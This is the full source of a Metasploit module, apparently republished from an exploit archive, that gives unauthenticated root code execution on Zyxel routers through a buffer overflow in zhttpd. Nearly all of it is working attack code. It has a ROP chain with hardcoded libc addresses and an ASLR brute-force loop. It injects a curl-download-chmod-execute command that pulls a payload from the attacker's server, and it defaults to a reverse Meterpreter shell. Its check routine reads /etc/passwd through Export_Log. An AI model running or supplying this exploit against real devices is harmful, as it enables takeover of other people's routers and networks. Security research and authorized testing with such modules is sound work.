Headline
Zyxel Unauthenticated LAN Remote Code Execution
This Metasploit module exploits a buffer overflow in the zhttpd binary (/bin/zhttpd). It is present on more than 40 Zyxel routers and CPE devices. The code execution vulnerability can only be exploited by an attacker if the zhttp webserver is reachable. No authentication is required. After exploitation, an attacker will be able to execute any command as root, including downloading and executing a binary from another host.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##require 'openssl'class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::EXE include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'Zyxel Unauthenticated LAN Remote Code Execution', 'Description' => %q{ This module exploits a buffer overflow in the zhttpd binary (/bin/zhttpd). It is present on more than 40 Zyxel routers and CPE devices. The code execution vulnerability can only be exploited by an attacker if the zhttp webserver is reachable. No authentication is required. After exploitation, an attacker will be able to execute any command as root, including downloading and executing a binary from another host. }, 'License' => MSF_LICENSE, 'Author' => [ 'Steffen Robertz <s.robertz[at]sec-consult.com>', 'Gerhard Hechenberger <g.hechenberger[at]sec-consult.com>', 'Thomas Weber <t.weber[at]sec-consult.com>', 'Stefan Viehboeck <v.viehboeck[at]sec-consult.com>', 'SEC Consult Vulnerability Lab' ], 'References' => [ [ 'URL', 'https://r.sec-consult.com/zyxsploit'], ], 'Privileged' => true, 'Platform' => 'linux', 'Arch' => ARCH_ARMLE, 'Payload' => {}, 'Stance' => Msf::Exploit::Stance::Aggressive, 'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp', 'WfsDelay' => 15 }, 'Targets' => [ [ 'Zyxel Device', {} ] ], 'DisclosureDate' => '2022-02-01', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SERVICE_RESTARTS], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] } ) ) register_options( [ Opt::RPORT(80) ] ) register_advanced_options( [ OptInt.new('MAX_WAIT', [true, 'Number of seconds to wait for payload download', 7200]) ] ) end def check res = send_request_raw({ 'uri' => '/Export_Log?/etc/passwd', 'method' => 'GET', 'rport' => datastore['RPORT'] }) return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil? return CheckCode::Vulnerable if res.to_s['root:x:0:0:'] return CheckCode::Safe end # Handle incoming requests from the router def on_request_uri(cli, _request) if !@payload_sent print_good("#{peer} - Sending executable to the router") print_good("#{peer} - A shell should connect soon!") send_response(cli, @payload_exe) @payload_sent = true end end def build_buffer_overflow_url(download_cmd) libc_addr = 0xb6a38000 system_offset = 0x000376c8 system_addr = libc_addr + system_offset mov_offset = 0x000f4ccc mov_addr = libc_addr + mov_offset r3_offset = 0x0010bdac r3_addr = libc_addr + r3_offset sp_inc_offset = 0x000f70ec sp_inc_addr = libc_addr + sp_inc_offset overflow_url = rand_text_alpha_lower(268) overflow_url += [r3_addr].pack('I') overflow_url += rand_text_alpha_lower(12) overflow_url += [sp_inc_addr].pack('I') overflow_url += [mov_addr].pack('I') overflow_url += rand_text_alpha_lower(4) overflow_url += [system_addr].pack('I') overflow_url += rand_text_alpha_lower(24) overflow_url += download_cmd return overflow_url end def send_exploit(exploit_url) send_request_raw({ 'uri' => "/Export_Log?#{exploit_url}", 'method' => 'GET', 'rport' => datastore['RPORT'] }) Rex.sleep(6) end def exploit if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0 fail_with(Failure::Unreachable, "#{peer} - Please specify the LAN IP address of this computer in SRVHOST") end print_status("Attempting to exploit #{target.name}") srv_host = datastore['SRVHOST'] srv_port = datastore['SRVPORT'] @cmd_file = rand_text_alpha_lower(1) payload_file = rand_text_alpha_lower(1) # generate our payload executable @payload_exe = generate_payload_exe # Command that will download @payload_exe and execute it download_cmd = 'curl${IFS}' if datastore['SSL'] # https:// can't be a substring as the zyxel parser won't be able to understand the URI download_cmd += '-k${IFS}https:`echo${IFS}//`' end download_cmd += "#{srv_host}:#{srv_port}/#{payload_file}${IFS}-o${IFS}/tmp/#{payload_file};chmod${IFS}+x${IFS}/tmp/#{payload_file};/tmp/#{payload_file};" http_service = "#{srv_host}:#{srv_port}" print_status("Starting up our web service on #{http_service} ...") start_service({ 'Uri' => { 'Proc' => proc do |cli, req| on_request_uri(cli, req) end, 'Path' => "/#{payload_file}" } }) print_status('Going to bruteforce ASLR, this might take a while...') count = 1 exploit_url = build_buffer_overflow_url(download_cmd) timeout = 0 until @payload_sent print_status("Trying to overflow the buffer, attempt #{count}") send_exploit(exploit_url) count += 1 timeout += 6 if timeout == datastore['MAX_WAIT'].to_i fail_with(Failure::Unknown, "#{peer} - Timeout reached! You were either very unlucky or the device is not vulnerable anymore!") end end endend